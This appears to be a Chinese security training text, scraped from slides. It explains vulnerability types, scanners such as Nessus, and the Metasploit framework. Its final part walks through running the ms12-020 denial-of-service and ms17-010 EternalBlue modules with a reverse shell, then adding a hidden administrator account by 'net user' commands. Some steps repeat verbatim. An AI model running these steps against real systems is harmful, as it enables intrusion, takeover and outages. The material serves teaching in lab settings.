
系统漏洞利用安全漏洞基本概念漏洞Vulnerability又叫脆弱性这一概念早在1947年冯•诺依曼建立计算机系统结构理论时就有涉及他认为计算机的发展和自然生命有相似性一个计算机系统也有天生的类似基因的缺陷也可能在使用和发展过程中产生意想不到的问题。197080年代早期黑客的出现和第一个计算机病毒的产生软件漏洞逐渐引起人们的关注。随着计算机应用的发展和互联网络的出现漏洞相继在软件、硬件、管理过程甚至人的环节出现引起病毒泛滥、黑客猖獗使得安全漏洞成为网络空间的一个现实、热门话题。漏洞成因实现漏洞是安全漏洞中最大的一类大多数我们接触到的安全漏洞都属于这一类。实现类漏洞是由于在程序编码时不够严谨或对于安全性 的考虑不周而产生的漏洞缓冲区溢出类漏洞是最典型的实现漏洞设计漏洞主要是指软件、硬件和固件在设计时对于安全性考虑不周导致的漏洞。例如F5 BIG-ip远程绕过验证漏洞是由于F5设备的SSH登录模块内置了一个可用于登录的秘钥文件这个秘钥被泄露后任意获取该秘钥的用户都可以登录任意一台相关版本的设备配置漏洞是由于软件的配置或者不恰当的配置导致的安全漏洞。例如弱口令或默认口令就是一种常见的配置漏洞。在Windows NT系统中默认情况下会允许远程用户建立空会话枚举系统里的各项NetBIOS信息。这里空会话指可以用空的用户名和空的口令通过NetBIOS协议登录到远程的Windows系统中漏洞信息管理CVECommon Vulnerabilities Exposures通用漏洞披露美国国家漏洞数据库NVDhttp://cve.mitre.orgCVE官网http://www.cnnvd.org.cn/index.html国家信息安全漏洞库(CNNVD)http://www.nsfocus.net/绿盟科技http://www.scap.org.cn/SCAP 安全内容自动化协议中文社区安全漏洞检测技术目标研究专门的技术手段和方法建立多角度的漏洞检测能力经验向理论转化形成自动化、规模化能力方法静态分析分析代码动态分析漏洞扫描又可分为本地扫描和远程扫描常见的系统漏洞扫描器系统漏洞扫描器是相对于WEB应用漏洞扫描器而言扫描器主要是针对操作系统和各类通用性较强的软件应用进行漏洞检测的工具软件类NESSUS、OpenVAS、Nmap硬件类 绿盟远程安全评估系统 启明天境脆弱性扫描与管理系统 杭州迪普漏洞扫描系统 榕基风险管理系统 网御漏洞扫描系统系统漏洞识别原理漏洞识别的主要方法可以分为原理扫描和推断扫描两类在实际实现过程中扫描器开发者会根据漏洞的特点不同选择不同的漏洞识别技术来进行漏洞识别识别技术检测思路准确率检测效率对目标的影响适用场景原理扫描利用漏洞形成的原因和漏洞的特点尝试对漏洞进行利用并根据漏洞利用的结果来判断漏洞是否存在。基于漏洞原理进行识别准确率高。步骤多检测速度较慢对目标影响较大可能导致目标宕机或破坏程序和数据常用于WEB应用漏洞扫描和一些利用后不影响系统运行的漏洞尤其不适用于拒绝服务漏洞。推断扫描推断扫描不直接利用漏洞而是寻找其他漏洞存在的证据并以此推断漏洞存在。版本检查是推断扫描的常用方式之一准确率受实现技术和漏洞修复技术的影响有一定的误报率过程简单速度较快不利用漏洞对目标影响较小适用于通用软件的扫描在大规模的扫描任务中有比较明显的优势。NESSUS介绍与利用NESSUS是目前全世界最多人使用的系统漏洞扫描与分析软件具有能够提供完整的电脑漏洞扫描服务并随时更行其漏洞数据库。可同时在本机或远端上遥控进行系统的漏洞分析扫描运作效能能随着系统的资源而进行调整。可自行定义插件Plug-in等特点NESSUS功能介绍 打开浏览器输入http://localhost:8834进入登录页面输入账号密码登录 在首页选择new scans新建一个扫描任务新建任务时需要对扫描进行选择或配置带有upgrade标签的是需要升级成企业版或者专业版才能使用 在scan Library中选择Basic Network Scan进行配置通常情况下只对General一般选项、Discovery主机发现、Assessment风险评估、及Advanced高级选项进行配置NESSUS的使用使用NESSUS进行扫描的具体步骤在New Scan -Basic Network Scan 下设置项目名称与描述设置归属栏目为my scans输入目标主机地址或网段。可在首页查看扫描记录点击对应的扫描任务可查看任务可查看任务的详细信息选择扫描任务进入后可查看扫描信息。MetaSploit介绍与利用Metasploit就是一个漏洞利用框架。全称叫做The Metasploit Framework简称叫做MSF。Metasploit作为全球最受欢迎的工具不仅仅是因为它的方便性和强大性更重要的是它的框架。它允许使用者开发自己的漏洞脚本从而进行测试。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。专业术语渗透攻击Exploit,指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞所进行的攻击行为。攻击载荷Payload是我们期望目标系统在被渗透攻击之后去执行的代码。Shellcode是在渗透攻击是作为攻击载荷运行的一组机器指令通常用汇编语言编写。模块Module指Metasploit框架中所使用的一段软件代码组件可用于发起渗透攻击或执行某些辅助攻击动作。监听器Listener是Metasploit中用来等待网络连接的组件(生成木马之后发给受害主机监听反弹木马连入本机)。启动Metasploit—控制台启动:msfconsole 常用控制台方式图形界面启动: 输入armitage若提示不存在 请输入apt-get install armitage 安装后需要使用msfdb init 然后输入armitage重要模块介绍:exploits 攻击模块 实施精准打击auxiliary 漏洞辅助模块多用于扫描,嗅探,指纹识别等功能payloads 漏洞载荷模块通常作用是为渗透测试者打开在目标系统上的控制会话连接encoders 编码器模块对payloads进行编码nops 空指令模块最典型的空指令就是空操作evasion 创建反杀毒软件的木马Metasploit的常用命令show exploits 显示可用的渗透攻击模块。search 用来搜寻一些渗透攻击模块可以进行模糊匹配。use 使用某个渗透攻击模块可以通过use命令来使用show 或 search出来的渗透模块。show payloads 显示当前模块可用的攻击载荷show options 显示参数当选择渗透模块后使用show options 会显示该模块所需设置的参数。set 命令是用来设置某些选项的比如使用set 命令设置攻击模块的options参数设置攻击载荷payloads时也是用set命令。exploit/run命令设置完所有参数时使用exploit命令开始进行攻击。使用Metasploit的具体思路搜索攻击模块使用命令search 漏洞信息或编号使用某个模块使用命令use查看配置选项使用命令show options设置选项值使用命令set开始攻击使用命令run/exploitMetaSploit进行ms12-020漏洞利用在kali里面打开metasploit漏洞利用框架搜索ms12-020漏洞利用模块search ms12-020auxiliary/dos/windows/rdp/ms12_020_maxchannelids在kali里面打开metasploit漏洞利用框架搜索ms12-020漏洞利用模块使用模块 use 模块名查看当前模块所需配置项 show optionsRHOST 需设为远程靶机的IP地址设置配置项如set RHOST xxx.xxx.xx.x实施攻击 exploit 或者runMetaSploit进行ms17-010漏洞利用在kali里面打开metasploit漏洞利用框架搜索ms17-010漏洞利用模块search ms17-010exploit/windows/smb/ms17_010_eternalblue使用利用模块在kali里面打开metasploit漏洞利用框架搜索ms17-010漏洞利用模块使用利用模块查看配置项 show options在kali里面打开metasploit漏洞利用框架搜索ms17-010漏洞利用模块使用利用模块查看配置项 show options设置 靶机IP地址设置以TCP反弹一个shell回来设置攻击者IP地址查看配置项–show payloads设置返回监控窗口实施攻击 exploit可以创建用户 net user xxxx 1234 /addxxxx用户名 1234密码net localgroup administrators xxxx /add 将用户添加到管理员组重新打开一个终端 rdesktopIP在kali里面打开metasploit漏洞利用框架搜索ms17-010漏洞利用模块使用利阿用模块查看配置项设置靶机IP设置攻击者IP地址查看配置项–show payloads设置返回监控窗口实施攻击